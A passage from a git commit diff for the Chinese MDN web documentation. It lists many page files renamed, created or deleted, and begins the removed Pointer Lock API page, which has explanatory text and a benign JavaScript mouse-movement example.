100644 "files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" create mode 100644 files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html delete mode 100644 "files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" create mode 100644 files/zh-cn/web/css/css_fragmentation/index.html delete mode 100644 files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html create mode 100644 files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html create mode 100644 files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html delete mode 100644 "files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" create mode 100644 files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html create mode 100644 files/zh-cn/web/css/css_images/using_css_gradients/index.html create mode 100644 files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html create mode 100644 files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html delete mode 100644 files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html create mode 100644 files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html delete mode 100644 "files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html delete mode 100644 files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html create mode 100644 files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html delete mode 100644 "files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" create mode 100644 files/zh-cn/web/css/cssom_view/coordinate_systems/index.html delete mode 100644 "files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" delete mode 100644 files/zh-cn/web/css/cursor/url/index.html create mode 100644 files/zh-cn/web/css/float/index.html create mode 100644 files/zh-cn/web/css/grid-template-rows/index.html create mode 100644 files/zh-cn/web/css/layout_cookbook/card/index.html create mode 100644 files/zh-cn/web/css/layout_cookbook/media_objects/index.html delete mode 100644 "files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" delete mode 100644 "files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" create mode 100644 files/zh-cn/web/css/media_queries/index.html create mode 100644 files/zh-cn/web/css/media_queries/testing_media_queries/index.html create mode 100644 files/zh-cn/web/css/media_queries/using_media_queries/index.html create mode 100644 files/zh-cn/web/css/offset/index.html create mode 100644 files/zh-cn/web/css/overflow-wrap/index.html create mode 100644 files/zh-cn/web/css/text-decoration-thickness/index.html delete mode 100644 files/zh-cn/web/css/timing-function/index.html create mode 100644 files/zh-cn/web/css/url()/index.html delete mode 100644 files/zh-cn/web/css/url/index.html create mode 100644 files/zh-cn/web/css/visual_formatting_model/index.html delete mode 100644 files/zh-cn/web/css/word-wrap/index.html delete mode 100644 "files/zh-cn/web/css/\345\201\217\347\247\273/index.html" delete mode 100644 "files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" delete mode 100644 "files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" delete mode 100644 "files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" create mode 100644 files/zh-cn/web/demos_of_open_web_technologies/index.html delete mode 100644 files/zh-cn/web/events/abort/index.html delete mode 100644 files/zh-cn/web/events/afterprint/index.html delete mode 100644 files/zh-cn/web/events/afterscriptexecute/index.html delete mode 100644 files/zh-cn/web/events/animationend/index.html delete mode 100644 files/zh-cn/web/events/animationstart/index.html delete mode 100644 files/zh-cn/web/events/beforeprint/index.html delete mode 100644 files/zh-cn/web/events/beforescriptexecute/index.html delete mode 100644 files/zh-cn/web/events/beforeunload/index.html delete mode 100644 files/zh-cn/web/events/blur/index.html delete mode 100644 files/zh-cn/web/events/change/index.html delete mode 100644 files/zh-cn/web/events/compositionend/index.html delete mode 100644 files/zh-cn/web/events/compositionstart/index.html delete mode 100644 files/zh-cn/web/events/compositionupdate/index.html delete mode 100644 files/zh-cn/web/events/copy/index.html delete mode 100644 files/zh-cn/web/events/cut/index.html delete mode 100644 files/zh-cn/web/events/domcontentloaded/index.html delete mode 100644 files/zh-cn/web/events/error/index.html delete mode 100644 files/zh-cn/web/events/focus/index.html delete mode 100644 files/zh-cn/web/events/focusout/index.html delete mode 100644 files/zh-cn/web/events/icecandidate/index.html delete mode 100644 files/zh-cn/web/events/input/index.html delete mode 100644 files/zh-cn/web/events/load/index.html delete mode 100644 files/zh-cn/web/events/loadend/index.html delete mode 100644 files/zh-cn/web/events/loadstart/index.html delete mode 100644 files/zh-cn/web/events/message/index.html delete mode 100644 files/zh-cn/web/events/mousewheel/index.html delete mode 100644 files/zh-cn/web/events/pageshow/index.html delete mode 100644 files/zh-cn/web/events/paste/index.html delete mode 100644 "files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" delete mode 100644 files/zh-cn/web/events/transitionend/index.html delete mode 100644 files/zh-cn/web/events/unhandledrejection/index.html delete mode 100644 files/zh-cn/web/events/unload/index.html delete mode 100644 "files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" delete mode 100644 files/zh-cn/web/guide/api/dom/index.html delete mode 100644 files/zh-cn/web/guide/api/dom/storage/index.html delete mode 100644 files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html delete mode 100644 files/zh-cn/web/guide/css/consistent_list_indentation/index.html delete mode 100644 files/zh-cn/web/guide/css/counters/index.html delete mode 100644 files/zh-cn/web/guide/css/css_image_sprites/index.html delete mode 100644 "files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" delete mode 100644 files/zh-cn/web/guide/css/getting_started/boxes/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/color/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/content/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/how_css_works/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/javascript/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/layout/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/lists/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/media/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/readable_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/selectors/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/svg_and_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/tables/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/text_styles/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/what_is_css/index.html delete mode 100644 files/zh-cn/web/guide/css/getting_started/why_use_css/index.html delete mode 100644 files/zh-cn/web/guide/css/media_queries/index.html delete mode 100644 files/zh-cn/web/guide/css/scaling_background_images/index.html delete mode 100644 files/zh-cn/web/guide/css/testing_media_queries/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html delete mode 100644 files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html delete mode 100644 files/zh-cn/web/guide/css/using_css_gradients/index.html delete mode 100644 files/zh-cn/web/guide/css/using_multi-column_layouts/index.html delete mode 100644 files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html delete mode 100644 files/zh-cn/web/guide/css/visual_formatting_model/index.html delete mode 100644 files/zh-cn/web/guide/html/content_editable/index.html delete mode 100644 files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html create mode 100644 files/zh-cn/web/guide/html/editable_content/index.html create mode 100644 files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html delete mode 100644 files/zh-cn/web/guide/html/email_links/index.html delete mode 100644 files/zh-cn/web/guide/html/forms_in_html/index.html delete mode 100644 files/zh-cn/web/guide/html/html/index.html delete mode 100644 files/zh-cn/web/guide/html/html5/html5_element_list/index.html delete mode 100644 files/zh-cn/web/guide/html/html5/html5_thematic_classification/index.html delete mode 100644 files/zh-cn/web/guide/html/sections_and_outlines_of_an_html5_document/index.html delete mode 100644 files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html delete mode 100644 files/zh-cn/web/guide/html/using_data_attributes/index.html delete mode 100644 files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html create mode 100644 files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html create mode 100644 files/zh-cn/web/guide/introduction_to_web_development/index.html create mode 100644 files/zh-cn/web/guide/woff/index.html create mode 100644 files/zh-cn/web/html/attributes/autocomplete/index.html create mode 100644 files/zh-cn/web/html/attributes/crossorigin/index.html delete mode 100644 "files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" delete mode 100644 files/zh-cn/web/html/cors_settings_attributes/index.html delete mode 100644 files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html delete mode 100644 files/zh-cn/web/html/element/command/index.html delete mode 100644 files/zh-cn/web/html/element/element/index.html create mode 100644 files/zh-cn/web/html/element/input/month/index.html create mode 100644 files/zh-cn/web/html/element/input/range/index.html delete mode 100644 "files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" delete mode 100644 "files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" delete mode 100644 files/zh-cn/web/html/focus_management_in_html/index.html delete mode 100644 files/zh-cn/web/html/global_attributes/dropzone/index.html create mode 100644 files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html create mode 100644 files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html delete mode 100644 "files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" delete mode 100644 "files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" delete mode 100644 files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html delete mode 100644 files/zh-cn/web/html/supported_media_formats/index.html delete mode 100644 files/zh-cn/web/http/access_control_cors/index.html create mode 100644 files/zh-cn/web/http/basics_of_http/data_uris/index.html create mode 100644 files/zh-cn/web/http/caching/index.html delete mode 100644 files/zh-cn/web/http/caching_faq/index.html delete mode 100644 "files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" create mode 100644 files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html create mode 100644 files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html delete mode 100644 "files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" create mode 100644 files/zh-cn/web/http/cors/index.html delete mode 100644 files/zh-cn/web/http/data_uris/index.html create mode 100644 files/zh-cn/web/http/feature_policy/index.html create mode 100644 files/zh-cn/web/http/feature_policy/using_feature_policy/index.html create mode 100644 files/zh-cn/web/http/headers/strict-transport-security/index.html create mode 100644 files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html create mode 100644 files/zh-cn/web/http/headers/x-frame-options/index.html delete mode 100644 files/zh-cn/web/http/http_response_codes/index.html delete mode 100644 files/zh-cn/web/http/http_strict_transport_security/index.html delete mode 100644 files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html create mode 100644 files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html delete mode 100644 files/zh-cn/web/http/server-side_access_control/index.html delete mode 100644 files/zh-cn/web/http/x-frame-options/index.html delete mode 100644 "files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" delete mode 100644 "files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" delete mode 100644 "files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" delete mode 100644 files/zh-cn/web/javascript/getting_started/index.html delete mode 100644 files/zh-cn/web/javascript/guide/about/index.html delete mode 100644 files/zh-cn/web/javascript/guide/javascript_overview/index.html delete mode 100644 files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html create mode 100644 files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html delete mode 100644 "files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" delete mode 100644 files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html delete mode 100644 files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html delete mode 100644 "files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/classes/class_elements/index.html create mode 100644 files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html create mode 100644 files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/evalerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/function/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/generatorfunction/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/map/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html create mode 100644 files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html delete mode 100644 files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/addition/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/async_function/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" create mode 100644 files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/decrement/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/equality/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/logical_and/index.html delete mode 100644 files/zh-cn/web/javascript/reference/operators/logical_operators/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/zh-cn/web/javascript/reference/operators/remainder/index.html delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" delete mode 100644 "files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" delete mode 100644 files/zh-cn/web/javascript/reference/reserved_words/index.html delete mode 100644 files/zh-cn/web/javascript/reference/statements/default/index.html create mode 100644 files/zh-cn/web/javascript/reference/template_literals/index.html delete mode 100644 files/zh-cn/web/javascript/reference/template_strings/index.html delete mode 100644 files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html create mode 100644 files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html delete mode 100644 files/zh-cn/web/localization/index.html create mode 100644 files/zh-cn/web/media/autoplay_guide/index.html create mode 100644 files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html create mode 100644 files/zh-cn/web/media/formats/video_codecs/index.html delete mode 100644 "files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" create mode 100644 files/zh-cn/web/media/index.html create mode 100644 files/zh-cn/web/performance/how_browsers_work/index.html delete mode 100644 "files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" create mode 100644 files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html create mode 100644 files/zh-cn/web/progressive_web_apps/loading/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/network_independent/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/re-engageable/index.html delete mode 100644 files/zh-cn/web/progressive_web_apps/responsive/index.html create mode 100644 files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html delete mode 100644 "files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" delete mode 100644 "files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" delete mode 100644 "files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" delete mode 100644 files/zh-cn/web/security/csp/index.html delete mode 100644 files/zh-cn/web/security/csp/introducing_content_security_policy/index.html delete mode 100644 files/zh-cn/web/security/csp/using_csp_violation_reports/index.html delete mode 100644 files/zh-cn/web/security/information_security_basics/index.html delete mode 100644 files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html create mode 100644 files/zh-cn/web/security/subresource_integrity/index.html create mode 100644 files/zh-cn/web/security/transport_layer_security/index.html delete mode 100644 "files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" delete mode 100644 "files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" create mode 100644 files/zh-cn/web/svg/attribute/styling/index.html create mode 100644 files/zh-cn/web/svg/attribute/text-anchor/index.html delete mode 100644 "files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" delete mode 100644 "files/zh-cn/web/svg/attribute/\346\240\267\345\274\217/index.html" create mode 100644 files/zh-cn/web/svg/tutorial/svg_and_css/index.html create mode 100644 files/zh-cn/web/web_components/html_imports/index.html delete mode 100644 "files/zh-cn/web/web_components/html\345\257\274\345\205\245/index.html" delete mode 100644 files/zh-cn/web/web_components/status_in_firefox/index.html delete mode 100644 "files/zh-cn/web/web_components/\345\275\261\345\255\220_dom/index.html" create mode 100644 files/zh-cn/web/xpath/comparison_with_css_selectors/index.html create mode 100644 files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html create mode 100644 files/zh-cn/web/xslt/element/index.html delete mode 100644 files/zh-cn/web/xslt/elements/index.html delete mode 100644 "files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" delete mode 100644 "files/zh-cn/web/\345\252\222\344\275\223/index.html" delete mode 100644 "files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" delete mode 100644 files/zh-cn/web_development/index.html delete mode 100644 files/zh-cn/web_development/introduction_to_web_development/index.html delete mode 100644 files/zh-cn/web_development/mobile/index.html delete mode 100644 files/zh-cn/web_development/mobile/responsive_design/index.html delete mode 100644 files/zh-cn/webapi/index.html delete mode 100644 files/zh-cn/webguide/api/file_system/index.html delete mode 100644 files/zh-cn/webguide/api/file_system/introduction/index.html delete mode 100644 files/zh-cn/webrtc/index.html delete mode 100644 "files/zh-cn/webrtc/\344\273\213\347\273\215/index.html" delete mode 100644 files/zh-cn/woff/index.html delete mode 100644 files/zh-cn/xhtml/index.html delete mode 100644 files/zh-cn/xmlserializer/index.html delete mode 100644 "files/zh-cn/\344\275\277\347\224\250javascript\345\222\214dom_interfaces\346\235\245\345\244\204\347\220\206html/index.html" (limited to 'files') diff --git a/files/zh-cn/api/pointer_lock_api/index.html b/files/zh-cn/api/pointer_lock_api/index.html deleted file mode 100644 index c22525ddb7..0000000000 --- a/files/zh-cn/api/pointer_lock_api/index.html +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: Pointer Lock API -slug: API/Pointer_Lock_API -translation_of: Web/API/Pointer_Lock_API ---- -

{{ SeeCompatTable() }}

- -

指针锁定(以前叫做鼠标锁定) 提供了一种输入方法,这种方法是基于鼠标随着时间推移的运动的(也就是,deltas),而不仅是鼠标光标的绝对位置。通过它可以访问原始的鼠标运动,把鼠标事件的目标锁定到一个单独的元素,这就消除了鼠标在一个单独的方向上到底可以移动多远这方面的限制,并从视图中删去光标。

- -

这个 API 对于需要大量的鼠标输入来控制运动,旋转物体,以及更改项目的应用程序来说非常有用。对高度视觉化的应用程序尤其重要,例如那些使用第一人称视角的应用程序,以及 3D 视图和建模。

- -

举例来说,你可以创建让你的用户简单地通过移动鼠标而不需要点击任何按钮就可以控制视角的应用。那么这些按钮就可以被用作其他动作。这类鼠标输入对于查看地图,卫星图像,或者第一人称场景(例如在一个游戏中或者一个全景视频中)是非常方便使用的。

- -

即使在光标移到浏览器或者屏幕区域之外,指针锁定也能够让你访问鼠标事件。例如,你的用户可以通过不断地移动鼠标来持续旋转或操纵一个 3D 模型。如果没有指针锁定的话,这些旋转或操纵会在指针到达浏览器或者屏幕边缘的那一刻停止。尤其是游戏玩家将会因为此功能而兴奋不已,因为他们可以疯狂地点击按钮,来回地滑动鼠标光标,而不必担心离开了游戏区域,进而不小心误点到另外一个应用程序上,结果将鼠标焦点移离了游戏。杯具了!

- -

基本概念

- -

指针锁定和鼠标捕获有关。鼠标捕获在一个鼠标被拖曳时可以向一个目标元素持续传递有关事件,但是当鼠标按钮被放开时就会停止。指针锁定和鼠标捕获在以下方面有所不同:

- - - -

示例

- -

下面是一个如何在你的网页中设置指针锁定的示例。

- -
<button onclick="lockPointer();">锁住它!</button>
-<div id="pointer-lock-element"></div>
-<script>
-// 注意: 截止本文撰写时, 仅有 Mozilla 和 WebKit 支持指针锁定。
-
-// 我们将要使之全屏并指针锁定的元素。
-var elem;
-
-document.addEventListener("mousemove", function(e) {
-  var movementX = e.movementX       ||
-                  e.mozMovementX    ||
-                  e.webkitMovementX ||
-                  0,
-      movementY = e.movementY       ||
-                  e.mozMovementY    ||
-                  e.webkitMovementY ||
-                  0;
-
-  // 打印鼠标移动的增量值。
-  console.log("movementX=" + movementX, "movementY=" + movementY);
-}, false);
-
-function fullscreenChange() {
-  if (document.webkitFullscreenElement === elem ||
-      document.mozFullscreenElement === elem ||
-      document.mozFullScreenElement === elem) { // 较旧的 API 大写 'S'.
-    // 元素进入全屏模式了,现在我们可以请求指针锁定。
-    elem.requestPointerLock = elem.requestPointerLock    ||
